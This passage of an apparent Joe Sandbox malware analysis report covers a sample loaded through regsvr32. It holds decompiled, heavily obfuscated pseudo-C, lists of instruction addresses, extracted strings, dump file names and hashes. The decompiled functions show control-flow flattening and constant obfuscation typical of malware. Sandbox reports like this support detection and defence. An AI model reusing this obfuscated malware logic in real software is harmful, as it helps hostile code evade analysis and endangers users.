							__eflags = _t1468 - 0xb4f1747;
							if(_t1468 != 0xb4f1747) {
								break;
							}
							E04240E63();
							_t1340 = 0x4f2172b;
							_push(_t1383);
							_push(_t1383);
							_t1259 = E0423CCA0(_v380, _v428);
							_t1499 = _t1499 + 0x10;
							_t1465 = _t1259;
							goto L29;
						}
						if(__eflags == 0) {
							_t1259 = L0423FBDE();
							_t1468 = 0xea72fdd;
							continue;
						}
						__eflags = _t1468 - 0x892c27a;
						if(_t1468 == 0x892c27a) {
							_t1259 = E0422A417(_t1383);
							goto L113;
						}
						__eflags = _t1468 - 0x8c2c3ca;
						if(_t1468 == 0x8c2c3ca) {
							_t1259 = E0423C5D5();
							_t1468 = 0x627e178;
							continue;
						}
						__eflags = _t1468 - 0x903542f;
						if(_t1468 == 0x903542f) {
							_t1259 = E0422D14C();
							_t1468 = 0x6362904;
							continue;
						}
						__eflags = _t1468 - 0x92191f9;
						if(_t1468 != 0x92191f9) {
							break;
						}
						_t1259 = E0423D111();
						__eflags = _t1259;
						if(_t1259 == 0) {
							_t1259 = E0422C6B8();
						}
						goto L64;
					}
					__eflags = _t1468 - 0x75265a3;
				} while (_t1468 != 0x75265a3);
				goto L113;
			}

0x0422863c
0x04228642
0x0422864f
0x0422865a
0x04228665
0x04228670
0x0422867b
0x04228683
0x0422868b
0x0422869c
0x042286a0
0x042286a5
0x042286ad
0x042286b8
0x042286c3
0x042286ce
0x042286e2
0x042286e7
0x042286f0
0x042286fb
0x04228706
0x04228711
0x04228718
0x04228723
0x0422872e
0x0422873d
0x04228742
0x0422874b
0x04228753
0x0422875e
0x04228769
0x04228774
0x0422877f
0x04228792
0x04228795
0x04228798
0x0422879f
0x042287aa
0x042287b5
0x042287bd
0x042287c8
0x042287d3
0x042287e6
0x042287f8
0x042287ff
0x0422880a
0x04228815
0x0422881d
0x04228828
0x04228833
0x04228849
0x04228850
0x0422885b
0x04228866
0x04228878
0x0422887b
0x04228884
0x0422888f
0x0422889a
0x042288ac
0x042288af
0x042288b0
0x042288b7
0x042288c2
0x042288d7
0x042288de
0x042288e6
0x042288f1
0x042288fc
0x04228907
0x0422890f
0x0422891a
0x04228922
0x0422892a
0x0422893a
0x0422893e
0x04228946
0x04228951
0x04228959
0x04228964
0x0422896f
0x0422897a
0x04228982
0x0422898a
0x04228995
0x042289a0
0x042289a8
0x042289b3
0x042289be
0x042289c9
0x042289d4
0x042289ea
0x042289f9
0x042289fc
0x04228a03
0x04228a0e
0x04228a1b
0x04228a1f
0x04228a2c
0x04228a30
0x04228a38
0x04228a43
0x04228a4b
0x04228a5a
0x04228a5d
0x04228a64
0x04228a6f
0x04228a7a
0x04228a85
0x04228a90
0x04228a9b
0x04228aa6
0x04228ab1
0x04228abc
0x04228ad2
0x04228ad7
0x04228ae6
0x04228aed
0x04228af8
0x04228b00
0x04228b05
0x04228b15
0x04228b19
0x04228b21
0x04228b29
0x04228b33
0x04228b37
0x04228b3c
0x04228b44
0x04228b4f
0x04228b57
0x04228b62
0x04228b6d
0x04228b78
0x04228b83
0x04228b8e
0x04228b99
0x04228ba4
0x04228baf
0x04228bba
0x04228bc5
0x04228bcd
0x04228bd5
0x04228bdd
0x04228be5
0x04228bed
0x04228bf8
0x04228c00
0x04228c07
0x04228c12
0x04228c1d
0x04228c25
0x04228c30
0x04228c3b
0x04228c46
0x04228c51
0x04228c5c
0x04228c6f
0x04228c76
0x04228c81
0x04228c89
0x04228c96
0x04228c9a
0x04228c9f
0x04228ca7
0x04228cb2
0x04228cbd
0x04228cc8
0x04228cd3
0x04228ce6
0x04228ced
0x04228cf8
0x04228d03
0x04228d0e
0x04228d22
0x04228d29
0x04228d34
0x04228d3f
0x04228d47
0x04228d4f
0x04228d54
0x04228d5c
0x04228d64
0x04228d71
0x04228d79
0x04228d84
0x04228d8f
0x04228d9a
0x04228da5
0x04228dad
0x04228db8
0x04228dc3
0x04228dce
0x04228dd6
0x04228dde
0x04228de9
0x04228dff
0x04228e08
0x04228e13
0x04228e1e
0x04228e29
0x04228e34
0x04228e3f
0x04228e4a
0x04228e55
0x04228e60
0x04228e6b
0x04228e76
0x04228e81
0x04228e8c
0x04228e97
0x04228ea2
0x04228ead
0x04228eb8
0x04228ec3
0x04228ece
0x04228ed9
0x04228ee4
0x04228eef
0x04228efa
0x04228f05
0x04228f0d
0x04228f18
0x04228f20
0x04228f2b
0x04228f37
0x04228f3c
0x04228f42
0x04228f4b
0x04228f50
0x04228f56
0x04228f5e
0x04228f66
0x04228f6b
0x04228f73
0x04228f78
0x04228f80
0x04228f92
0x04228f95
0x04228f9c
0x04228fa7
0x04228faf
0x04228fb4
0x04228fb8
0x04228fc0
0x04228fc8
0x04228fd0
0x04228fdb
0x04228fee
0x04228ff3
0x04228ffa
0x04229005
0x04229010
0x0422901b
0x04229026
0x04229031
0x0422903c
0x04229047
0x04229052
0x0422905d
0x04229068
0x04229073
0x0422907e
0x04229089
0x04229094
0x0422909f
0x042290aa
0x042290b5
0x042290c0
0x042290c8
0x042290d3
0x042290db
0x042290e0
0x042290ef
0x042290f2
0x042290f6
0x042290fe
0x04229111
0x04229118
0x04229123
0x0422912e
0x04229139
0x04229144
0x0422915a
0x04229161
0x0422916c
0x04229182
0x04229189
0x04229191
0x0422919c
0x042291a4
0x042291ac
0x042291b1
0x042291b9
0x042291c1
0x042291cc
0x042291d4
0x042291dc
0x042291e7
0x042291ef
0x042291f4
0x042291f9
0x04229201
0x04229209
0x0422921b
0x0422921e
0x04229225
0x04229230
0x0422923b
0x04229243
0x0422924b
0x04229256
0x04229261
0x0422926e
0x04229276
0x04229281
0x04229289
0x04229298
0x0422929b
0x042292a4
0x042292a8
0x042292b0
0x042292bb
0x042292c6
0x042292d1
0x042292dc
0x042292e7
0x042292f2
0x042292fd
0x0422930a
0x0422931b
0x0422931f
0x04229327
0x04229332
0x0422933a
0x04229345
0x04229350
0x0422935b
0x04229366
0x0422936d
0x04229378
0x0422938e
0x04229395
0x042293a0
0x042293ab
0x042293b3
0x042293bb
0x042293c3
0x042293c8
0x042293d0
0x042293db
0x042293e3
0x042293ee
0x042293f9
0x0422940c
0x0422940d
0x04229414
0x0422941f
0x04229427
0x0422942f
0x04229437
0x0422943f
0x04229447
0x0422944f
0x04229454
0x04229459
0x0422945e
0x04229466
0x04229471
0x0422947a
0x04229481
0x0422948c
0x04229497
0x042294a2
0x042294ad
0x042294ba
0x042294be
0x042294cb
0x042294d1
0x042294d9
0x042294e4
0x042294ef
0x042294fa
0x04229505
0x0422950d
0x04229518
0x04229520
0x04229525
0x04229529
0x0422952e
0x04229536
0x04229541
0x0422954c
0x04229557
0x04229562
0x04229577
0x0422957a
0x04229581
0x0422958c
0x04229599
0x0422959d
0x042295aa
0x042295ae
0x042295b6
0x042295c1
0x042295c9
0x042295d4
0x042295df
0x042295ea
0x042295f5
0x04229600
0x0422960b
0x04229616
0x04229621
0x0422962c
0x04229637
0x04229642
0x04229658
0x0422965f
0x0422966a
0x04229672
0x0422967e
0x04229683
0x04229689
0x04229691
0x04229699
0x042296a4
0x042296af
0x042296c1
0x042296c4
0x042296cb
0x042296d6
0x042296e1
0x042296ec
0x042296f7
0x0422970a
0x04229711
0x0422971c
0x04229724
0x0422972c
0x04229734
0x0422973c
0x04229744
0x04229751
0x0422975c
0x04229767
0x0422976f
0x04229774
0x04229779
0x04229781
0x04229789
0x04229794
0x0422979f
0x042297aa
0x042297c0
0x042297c9
0x042297d4
0x042297df
0x042297ea
0x042297f2
0x042297fd
0x04229805
0x0422980a
0x0422980f
0x04229817
0x0422981f
0x0422982a
0x04229835
0x04229840
0x0422984b
0x04229856
0x04229861
0x0422986c
0x04229874
0x0422987c
0x04229887
0x04229892
0x0422989d
0x042298a8
0x042298b3
0x042298be
0x042298c9
0x042298db
0x042298e0
0x042298e9
0x042298f4
0x04229907
0x0422990a
0x04229919
0x04229920
0x0422992b
0x04229941
0x04229948
0x04229953
0x0422995f
0x04229962
0x04229966
0x0422996b
0x04229973
0x0422997b
0x04229986
0x0422998e
0x04229996
0x042299a1
0x042299ac
0x042299b7
0x042299bf
0x042299cc
0x042299dc
0x042299e7
0x042299f2
0x042299fd
0x04229a05
0x04229a10
0x04229a24
0x04229a29
0x04229a30
0x04229a37
0x04229a42
0x04229a4d
0x04229a55
0x04229a5d
0x04229a65
0x04229a6a
0x04229a72
0x04229a7d
0x04229a88
0x04229a93
0x04229aa7
0x04229aac
0x04229ab3
0x04229ac3
0x04229aca
0x04229aca
0x04229ad5
0x04229ad5
0x04229ad5
0x04229ad5
0x04229adb
0x04229adb
0x04229ae1
0x04229ae1
0x0422a3ec
0x0422a3f3
0x0422a406
0x0422a40d
0x0422a40d
0x04229ae7
0x04229aed
0x04229d2c
0x04229d32
0x04229e70
0x04229e76
0x04229f12
0x04229f17
0x04229ad5
0x04229ad5
0x04229ad5
0x04229adb
0x04229adb
0x00000000
0x04229adb
0x00000000
0x04229ad5
0x04229e7c
0x04229e82
0x04229efc
0x04229f01
0x00000000
0x04229f01
0x04229e84
0x04229e8a
0x04229ed0
0x04229edc
0x04229ee5
0x04229eed
0x00000000
0x04229eed
0x04229e8c
0x04229e92
0x00000000
0x00000000
0x04229ea6
0x04229eaf
0x04229eb7
0x00000000
0x04229eb7
0x04229d38
0x04229e5a
0x04229e63
0x04229e65
0x04229c17
0x04229c17
0x00000000
0x04229c17
0x04229d3e
0x04229d44
0x04229e3c
0x04229e41
0x04229e43
0x00000000
0x00000000
0x04229e49
0x00000000
0x04229e49
0x04229d4a
0x04229d50
0x04229e0f
0x04229e14
0x04229e1b
0x04229e23
0x00000000
0x04229e23
0x04229d52
0x04229d58
0x04229db7
0x04229dbe
0x04229dc3
0x00000000
0x04229dc3
0x04229d5a
0x04229d60
0x00000000
0x00000000
0x04229d82
0x04229d9e
0x04229da3
0x04229da6
0x04229dad
0x00000000
0x04229dad
0x04229af3
0x04229d15
0x04229d1a
0x04229d1c
0x00000000
0x00000000
0x04229d22
0x00000000
0x04229d22
0x04229af9
0x04229aff
0x04229c82
0x04229c88
0x0422a3dc
0x00000000
0x0422a3e2
0x04229c8e
0x04229c94
0x04229cf8
0x04229cfd
0x00000000
0x04229cfd
0x04229c96
0x04229c9c
0x04229cdb
0x04229ce0
0x04229ce7
0x00000000
0x04229ce7
0x04229c9e
0x04229ca4
0x00000000
0x00000000
0x04229cc3
0x04229cca
0x04229cca
0x00000000
0x04229cca
0x04229b05
0x04229c63
0x04229c68
0x04229c6f
0x04229c77
0x00000000
0x04229c77
0x04229b11
0x04229bf6
0x04229bfb
0x04229bfd
0x04229c26
0x04229c2f
0x04229c37
0x00000000
0x04229c37
0x04229c06
0x04229c0f
0x04229c11
0x04229c11
0x00000000
0x04229c11
0x04229b1d
0x04229bd1
0x04229bd6
0x04229bd8
0x00000000
0x00000000
0x04229bde
0x00000000
0x04229bde
0x04229b29
0x04229b61
0x04229b68
0x04229bbc
0x04229bbc
0x00000000
0x04229bbc
0x04229b95
0x04229b9a
0x04229b9d
0x04229ba4
0x04229bb7
0x00000000
0x04229ba6
0x04229ba6
0x00000000
0x04229ba6
0x04229ba4
0x04229b31
0x00000000
0x04229b37
0x04229b50
0x04229b57
0x00000000
0x04229b57
0x04229f21
0x04229f21
0x04229f27
0x0422a137
0x0422a13d
0x0422a284
0x0422a28a
0x0422a3af
0x0422a3b4
0x00000000
0x0422a3b4
0x0422a290
0x0422a296
0x0422a399
0x0422a39e
0x00000000
0x0422a39e
0x0422a29c
0x0422a2a2
0x0422a2db
0x0422a2fd
0x0422a319
0x0422a325
0x0422a33b
0x0422a356
0x0422a381
0x0422a386
0x0422a386
0x00000000
0x0422a2a2
0x0422a143
0x0422a27a
0x00000000
0x0422a27a
0x0422a149
0x0422a14f
0x0422a1dd
0x0422a1e2
0x0422a1e7
0x0422a1ea
0x0422a1ec
0x0422a1f4
0x0422a1fb
0x0422a1fd
0x0422a218
0x0422a219
0x0422a22a
0x0422a22c
0x0422a22f
0x0422a22f
0x0422a236
0x0422a239
0x0422a254
0x0422a255
0x0422a264
0x0422a269
0x0422a26c
0x0422a26c
0x0422a1ee
0x0422a1ee
0x0422a1ee
0x0422a26e
0x0422a270
0x00000000
0x0422a270
0x0422a151
0x0422a153
0x0422a1b4
0x0422a1b9
0x0422a1ba
0x00000000
0x0422a1ba
0x0422a155
0x0422a15b
0x0422a18c
0x0422a191
0x0422a198
0x00000000
0x0422a198
0x0422a15d
0x0422a163
0x00000000
0x00000000
0x0422a169
0x0422a170
0x0422a172
0x00000000
0x0422a172
0x04229f2d
0x0422a121
0x0422a126
0x0422a12d
0x00000000
0x0422a12d
0x04229f33
0x04229f39
0x04229fd2
0x04229fd8
0x0422a106
0x0422a10b
0x0422a10d
0x00000000
0x00000000
0x0422a113
0x00000000
0x0422a113
0x04229fde
0x04229fe4
0x0422a0e4
0x0422a0e9
0x0422a0eb
0x00000000
0x00000000
0x0422a0f1
0x00000000
0x0422a0f1
0x04229fea
0x04229ff0
0x0422a066
0x0422a06d
0x0422a072
0x0422a075
0x0422a077
0x0422a0b0
0x0422a0b7
0x0422a0ba
0x0422a0c6
0x0422a0c8
0x0422a0d3
0x0422a0d3
0x00000000
0x0422a0d3
0x0422a0ca
0x0422a0cd
0x04229f85
0x04229f85
0x00000000
0x04229f85
0x00000000
0x0422a0cd
0x0422a0bc
0x00000000
0x0422a0bc
0x0422a08f
0x0422a090
0x0422a09f
0x0422a0a4
0x0422a0a7
0x0422a0a9
0x00000000
0x0422a0a9
0x04229ff2
0x04229ff8
0x00000000
0x00000000
0x0422a00c
0x0422a015
0x0422a029
0x0422a02a
0x0422a039
0x0422a03e
0x0422a041
0x00000000
0x0422a041
0x04229f3f
0x04229fc3
0x04229fc8
0x00000000
0x04229fc8
0x04229f41
0x04229f47
0x0422a401
0x00000000
0x0422a401
0x04229f4d
0x04229f53
0x04229fb0
0x04229fb5
0x00000000
0x04229fb5
0x04229f55
0x04229f5b
0x04229f9a
0x04229f9f
0x00000000
0x04229f9f
0x04229f5d
0x04229f63
0x00000000
0x00000000
0x04229f70
0x04229f75
0x04229f77
0x04229f80
0x04229f80
0x00000000
0x04229f77
0x0422a3b9
0x0422a3b9
0x00000000

Strings

C", xrefs: 04228CBD
Reo, xrefs: 042292FD
;w, xrefs: 04228B19
XG, xrefs: 04228FFA
S, xrefs: 0422A185
_1, xrefs: 04229781
3}, xrefs: 04229789
/1, xrefs: 042293BB
08s%, xrefs: 0422865A
+>, xrefs: 04229861
s2O, xrefs: 04229953
LNe, xrefs: 042291B9
C", xrefs: 0422878A
"{6, xrefs: 04229471
|V, xrefs: 04228D29
BO6, xrefs: 042299BF
Q2N, xrefs: 04228DC3
.MZ, xrefs: 042296D6
AW, xrefs: 04229A55
t0+, xrefs: 0422879F
Jvmw, xrefs: 04228BDD
L}, xrefs: 04229139
t, xrefs: 042293E3
jmI, xrefs: 04228FAF
Tvs, xrefs: 04228C30
F, xrefs: 042290E0
W?n, xrefs: 04228BF8
Uj`, xrefs: 042294FA
Kx!, xrefs: 0422997B
E, xrefs: 04228CF8
C, xrefs: 04229734

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: C$"{6$+>$.MZ$/1$08s%$3}$;w$AW$BO6$C"$C"$Jvmw$Kx!$LNe$Q2N$Reo$S$Tvs$Uj`$W?n$XG$_1$jmI$s2O$t0+$t$|V$E$F$L}
API String ID: 0-3734606162
Opcode ID: 22a2a3382b5d905fca491f4d3581c8da46a019f5bec40b265ab361079860d67b
Instruction ID: f7ad9f4a10dc72fd64b3a335cce20e753918a71228beead0176f094692d7003c
Opcode Fuzzy Hash: 22a2a3382b5d905fca491f4d3581c8da46a019f5bec40b265ab361079860d67b
Instruction Fuzzy Hash: 86E212B1A183919BD3B8CF25C58A6CFBBE1BB85318F00891DE5D996260DBB09945CF43

Uniqueness

Uniqueness Score: -1.00%

Function 0422A871, Relevance: 24.4, Strings: 19, Instructions: 646
COMMONCrypto

Download Yara Rule

C-Code - Quality: 95%

			E0422A871(void* __ecx) {
				char _v524;
				char _v1044;
				char _v1564;
				char _v2084;
				char _v2604;
				signed int _v2608;
				signed int _v2612;
				intOrPtr _v2616;
				intOrPtr _v2620;
				intOrPtr _v2624;
				char _v2628;
				intOrPtr _v2632;
				char _v2636;
				signed int _v2640;
				signed int _v2644;
				signed int _v2648;
				signed int _v2652;
				signed int _v2656;
				signed int _v2660;
				signed int _v2664;
				signed int _v2668;
				signed int _v2672;
				signed int _v2676;
				signed int _v2680;
				signed int _v2684;
				signed int _v2688;
				signed int _v2692;
				signed int _v2696;
				signed int _v2700;
				signed int _v2704;
				signed int _v2708;
				signed int _v2712;
				signed int _v2716;
				signed int _v2720;
				signed int _v2724;
				signed int _v2728;
				signed int _v2732;
				signed int _v2736;
				signed int _v2740;
				signed int _v2744;
				signed int _v2748;
				signed int _v2752;
				signed int _v2756;
				signed int _v2760;
				unsigned int _v2764;
				signed int _v2768;
				signed int _v2772;
				signed int _v2776;
				signed int _v2780;
				signed int _v2784;
				signed int _v2788;
				signed int _v2792;
				signed int _v2796;
				signed int _v2800;
				signed int _v2804;
				signed int _v2808;
				signed int _v2812;
				signed int _v2816;
				signed int _v2820;
				signed int _v2824;
				signed int _v2828;
				signed int _v2832;
				signed int _v2836;
				signed int _v2840;
				signed int _v2844;
				signed int _v2848;
				signed int _v2852;
				signed int _v2856;
				signed int _v2860;
				signed int _v2864;
				signed int _v2868;
				signed int _v2872;
				signed int _v2876;
				signed int _v2880;
				signed int _v2884;
				signed int _v2888;
				signed int _v2892;
				signed int _v2896;
				signed int _v2900;
				signed int _v2904;
				signed int _v2908;
				signed int _v2912;
				signed int _v2916;
				signed int _v2920;
				signed int _v2924;
				signed int _v2928;
				signed int _v2932;
				void* _t731;
				signed int _t732;
				signed int _t733;
				signed int _t743;
				signed int _t758;
				void* _t761;
				signed int _t763;
				signed int _t764;
				signed int _t765;
				signed int _t766;
				signed int _t767;
				signed int _t768;
				signed int _t769;
				signed int _t770;
				signed int _t771;
				signed int _t772;
				signed int _t773;
				signed int _t774;
				signed int _t775;
				signed int _t776;
				signed int _t777;
				signed int _t778;
				signed int _t779;
				signed int _t780;
				signed int _t783;
				void* _t804;
				void* _t861;
				signed int _t865;
				void* _t867;
				signed int* _t868;
				void* _t874;

				_t868 =  &_v2932;
				_v2612 = _v2612 & 0x00000000;
				_v2608 = _v2608 & 0x00000000;
				_v2616 = 0x74b642;
				_v2776 = 0xf885ca;
				_v2776 = _v2776 | 0xffdfd4be;
				_v2776 = _v2776 ^ 0xffffd5d7;
				_v2704 = 0xd88538;
				_v2704 = _v2704 + 0xebcf;
				_v2704 = _v2704 ^ 0x00c97107;
				_v2800 = 0xd52646;
				_v2800 = _v2800 ^ 0xe8dc52fe;
				_v2800 = _v2800 + 0xffffe935;
				_v2800 = _v2800 ^ 0xe804d8f6;
				_v2688 = 0xbafe67;
				_v2688 = _v2688 + 0x9481;
				_v2688 = _v2688 ^ 0x00b13019;
				_v2884 = 0x3d12e1;
				_v2884 = _v2884 << 1;
				_v2884 = _v2884 * 0x55;
				_t867 = __ecx;
				_t861 = 0xbf2cce3;
				_t763 = 0x73;
				_v2884 = _v2884 * 0xf;
				_v2884 = _v2884 ^ 0x605e8f7b;
				_v2696 = 0xf649d9;
				_v2696 = _v2696 / _t763;
				_v2696 = _v2696 ^ 0x000dd9df;
				_v2764 = 0x4a6242;
				_v2764 = _v2764 + 0xffff45cb;
				_v2764 = _v2764 >> 0xc;
				_v2764 = _v2764 ^ 0x000572e2;
				_v2784 = 0x8333a2;
				_t764 = 0x2e;
				_v2784 = _v2784 / _t764;
				_v2784 = _v2784 + 0xffffe135;
				_v2784 = _v2784 ^ 0x0005b928;
				_v2852 = 0xf9a739;
				_v2852 = _v2852 | 0x42d1f5c6;
				_v2852 = _v2852 + 0xfffff01c;
				_v2852 = _v2852 ^ 0x42f87d02;
				_v2896 = 0x31e192;
				_v2896 = _v2896 << 0xa;
				_v2896 = _v2896 << 0xa;
				_t765 = 0xb;
				_v2896 = _v2896 * 0x26;
				_v2896 = _v2896 ^ 0xbac011ee;
				_v2928 = 0xcde58e;
				_v2928 = _v2928 | 0x2bdbfaea;
				_v2928 = _v2928 << 8;
				_v2928 = _v2928 | 0x4ddc4764;
				_v2928 = _v2928 ^ 0xdffb1335;
				_v2740 = 0xd63953;
				_v2740 = _v2740 + 0x5c5c;
				_v2740 = _v2740 ^ 0x00d7db1f;
				_v2844 = 0x6db889;
				_v2844 = _v2844 + 0x1eed;
				_v2844 = _v2844 / _t765;
				_v2844 = _v2844 ^ 0x0002c3cf;
				_v2796 = 0x98820d;
				_v2796 = _v2796 | 0x8cff8acf;
				_t766 = 0x43;
				_v2796 = _v2796 / _t766;
				_v2796 = _v2796 ^ 0x021946ce;
				_v2668 = 0x18627d;
				_t767 = 7;
				_v2668 = _v2668 / _t767;
				_v2668 = _v2668 ^ 0x00044156;
				_v2772 = 0x2c7378;
				_v2772 = _v2772 >> 0xb;
				_v2772 = _v2772 >> 6;
				_v2772 = _v2772 ^ 0x000b6d9a;
				_v2880 = 0xd4c7fd;
				_t768 = 0x7b;
				_v2880 = _v2880 / _t768;
				_v2880 = _v2880 + 0xffffaacc;
				_t769 = 0x22;
				_v2880 = _v2880 * 0x2f;
				_v2880 = _v2880 ^ 0x00480dcd;
				_v2920 = 0xe4d6f8;
				_v2920 = _v2920 * 0x42;
				_v2920 = _v2920 + 0xa0b6;
				_v2920 = _v2920 << 8;
				_v2920 = _v2920 ^ 0x000574ec;
				_v2640 = 0xd6ae6b;
				_v2640 = _v2640 | 0xbe6f316b;
				_v2640 = _v2640 ^ 0xbefadf9c;
				_v2836 = 0x6fb4;
				_v2836 = _v2836 + 0xffffc368;
				_v2836 = _v2836 >> 0x10;
				_v2836 = _v2836 ^ 0x0009680a;
				_v2724 = 0x8b61bc;
				_v2724 = _v2724 * 0x75;
				_v2724 = _v2724 ^ 0x3fbdc7d4;
				_v2912 = 0x753704;
				_v2912 = _v2912 >> 0xb;
				_v2912 = _v2912 + 0xd457;
				_v2912 = _v2912 << 1;
				_v2912 = _v2912 ^ 0x000d652f;
				_v2716 = 0xde59a0;
				_v2716 = _v2716 + 0xffff5778;
				_v2716 = _v2716 ^ 0x00d8a7a4;
				_v2752 = 0x428dcf;
				_v2752 = _v2752 / _t769;
				_v2752 = _v2752 | 0x08d5d60c;
				_v2752 = _v2752 ^ 0x08d7d48c;
				_v2828 = 0xe83a42;
				_v2828 = _v2828 ^ 0x1f3eb5e2;
				_v2828 = _v2828 * 0x7e;
				_v2828 = _v2828 ^ 0xab9e63e1;
				_v2788 = 0x69d445;
				_v2788 = _v2788 | 0x87a4a8ed;
				_v2788 = _v2788 ^ 0x9a4d3e24;
				_v2788 = _v2788 ^ 0x1da0be74;
				_v2888 = 0x7663d0;
				_v2888 = _v2888 | 0x8f53a1f3;
				_v2888 = _v2888 >> 0xf;
				_v2888 = _v2888 * 0xa;
				_v2888 = _v2888 ^ 0x000d5ba1;
				_v2644 = 0x20e74e;
				_v2644 = _v2644 | 0x742f98e9;
				_v2644 = _v2644 ^ 0x74210d1b;
				_v2904 = 0xfccdb4;
				_t770 = 0xd;
				_v2904 = _v2904 * 0x7c;
				_v2904 = _v2904 >> 0xd;
				_v2904 = _v2904 | 0x17cf49de;
				_v2904 = _v2904 ^ 0x17c7aae5;
				_v2708 = 0xc1d2f2;
				_v2708 = _v2708 + 0xffff5a94;
				_v2708 = _v2708 ^ 0x00cb5d75;
				_v2660 = 0x58d6fe;
				_v2660 = _v2660 + 0x639e;
				_v2660 = _v2660 ^ 0x00518056;
				_v2652 = 0x6bd84b;
				_v2652 = _v2652 + 0xb95a;
				_v2652 = _v2652 ^ 0x00624667;
				_v2700 = 0xf92c4f;
				_v2700 = _v2700 * 0x75;
				_v2700 = _v2700 ^ 0x71e1c3ce;
				_v2892 = 0xd4714c;
				_v2892 = _v2892 + 0xffffadfa;
				_v2892 = _v2892 + 0xd7d2;
				_v2892 = _v2892 << 2;
				_v2892 = _v2892 ^ 0x0358083c;
				_v2900 = 0xca6485;
				_v2900 = _v2900 ^ 0x66674751;
				_v2900 = _v2900 | 0x9fb8fe7f;
				_v2900 = _v2900 ^ 0xffb729be;
				_v2824 = 0x9c46e2;
				_v2824 = _v2824 / _t770;
				_t771 = 0x6e;
				_v2824 = _v2824 * 7;
				_v2824 = _v2824 ^ 0x005409ff;
				_v2832 = 0x773d17;
				_v2832 = _v2832 >> 0xe;
				_v2832 = _v2832 + 0x6313;
				_v2832 = _v2832 ^ 0x000d17fa;
				_v2792 = 0x3014cc;
				_v2792 = _v2792 + 0xffff152c;
				_v2792 = _v2792 + 0xffff3bdf;
				_v2792 = _v2792 ^ 0x002eea21;
				_v2864 = 0x76e575;
				_v2864 = _v2864 | 0xb1b1a986;
				_v2864 = _v2864 * 0x79;
				_v2864 = _v2864 ^ 0x1e28dcc7;
				_v2712 = 0xf7e6ad;
				_v2712 = _v2712 * 0xb;
				_v2712 = _v2712 ^ 0x0aae7ee0;
				_v2808 = 0xd4cb39;
				_v2808 = _v2808 * 0x50;
				_v2808 = _v2808 * 0x75;
				_v2808 = _v2808 ^ 0x6440f87f;
				_v2720 = 0x360163;
				_v2720 = _v2720 + 0xffffc3fc;
				_v2720 = _v2720 ^ 0x0035ed30;
				_v2816 = 0xf63972;
				_v2816 = _v2816 / _t771;
				_v2816 = _v2816 + 0xffff69c4;
				_v2816 = _v2816 ^ 0x0001f3af;
				_v2728 = 0x218a6d;
				_v2728 = _v2728 | 0x0e9fd07f;
				_v2728 = _v2728 ^ 0x0eb1edc0;
				_v2756 = 0x58a84f;
				_v2756 = _v2756 * 0x22;
				_t772 = 0x3d;
				_v2756 = _v2756 / _t772;
				_v2756 = _v2756 ^ 0x0033367e;
				_v2680 = 0x526d89;
				_v2680 = _v2680 << 3;
				_v2680 = _v2680 ^ 0x02908fe9;
				_v2876 = 0xb95aa0;
				_t773 = 0x6f;
				_v2876 = _v2876 / _t773;
				_v2876 = _v2876 + 0x7ba5;
				_v2876 = _v2876 | 0x4bff3dbe;
				_v2876 = _v2876 ^ 0x4bf5695e;
				_v2748 = 0x470f02;
				_t774 = 0x6a;
				_v2748 = _v2748 / _t774;
				_v2748 = _v2748 ^ 0x394a4d48;
				_v2748 = _v2748 ^ 0x39498008;
				_v2684 = 0xb8f542;
				_v2684 = _v2684 * 0x66;
				_v2684 = _v2684 ^ 0x49b10479;
				_v2812 = 0x4a6932;
				_v2812 = _v2812 >> 7;
				_v2812 = _v2812 ^ 0xe4afcb01;
				_v2812 = _v2812 ^ 0xe4ae05c3;
				_v2932 = 0xa851a7;
				_v2932 = _v2932 * 0x2b;
				_v2932 = _v2932 ^ 0x9481cb07;
				_v2932 = _v2932 >> 6;
				_v2932 = _v2932 ^ 0x02246e93;
				_v2872 = 0x6bc7af;
				_v2872 = _v2872 ^ 0x3226b467;
				_v2872 = _v2872 * 0x1e;
				_v2872 = _v2872 << 0xb;
				_v2872 = _v2872 ^ 0x9c8deb19;
				_v2860 = 0x8556fb;
				_v2860 = _v2860 | 0x69e02514;
				_v2860 = _v2860 + 0xedcb;
				_v2860 = _v2860 ^ 0x69e8258b;
				_v2676 = 0xb187db;
				_v2676 = _v2676 << 0xb;
				_v2676 = _v2676 ^ 0x8c3acae2;
				_v2656 = 0xd34daf;
				_v2656 = _v2656 >> 0xe;
				_v2656 = _v2656 ^ 0x0009be95;
				_v2804 = 0x3574a6;
				_v2804 = _v2804 >> 9;
				_v2804 = _v2804 * 0x2a;
				_v2804 = _v2804 ^ 0x00009063;
				_v2760 = 0x8f0143;
				_v2760 = _v2760 * 0x43;
				_v2760 = _v2760 >> 3;
				_v2760 = _v2760 ^ 0x04abe301;
				_v2924 = 0x8fc82d;
				_v2924 = _v2924 << 1;
				_v2924 = _v2924 | 0xafdefbbe;
				_v2924 = _v2924 ^ 0xafdce921;
				_v2840 = 0x98b351;
				_v2840 = _v2840 << 0xe;
				_v2840 = _v2840 + 0x39e2;
				_v2840 = _v2840 ^ 0x2cd1b69a;
				_v2648 = 0xefee4b;
				_v2648 = _v2648 + 0xffff46f9;
				_v2648 = _v2648 ^ 0x00ec21a4;
				_v2848 = 0xd96457;
				_v2848 = _v2848 * 0x6c;
				_v2848 = _v2848 ^ 0xa04c0af4;
				_v2848 = _v2848 ^ 0xfbfff8f9;
				_v2856 = 0xd54255;
				_t775 = 0x29;
				_v2856 = _v2856 / _t775;
				_v2856 = _v2856 + 0x5db9;
				_v2856 = _v2856 ^ 0x00024640;
				_v2780 = 0x684df0;
				_v2780 = _v2780 ^ 0x2cfc36b9;
				_v2780 = _v2780 + 0xffffad37;
				_v2780 = _v2780 ^ 0x2c920bcc;
				_v2664 = 0x93e9a1;
				_v2664 = _v2664 ^ 0xb0758ee6;
				_v2664 = _v2664 ^ 0xb0e547c8;
				_v2692 = 0xe0a4a1;
				_v2692 = _v2692 << 0x10;
				_v2692 = _v2692 ^ 0xa4a3a3bd;
				_v2820 = 0x53ca07;
				_t776 = 0x38;
				_v2820 = _v2820 / _t776;
				_v2820 = _v2820 ^ 0x69a52d4a;
				_v2820 = _v2820 ^ 0x69a742e5;
				_v2768 = 0x45adf5;
				_t777 = 0x28;
				_v2768 = _v2768 / _t777;
				_t778 = 0x33;
				_v2768 = _v2768 * 0x6f;
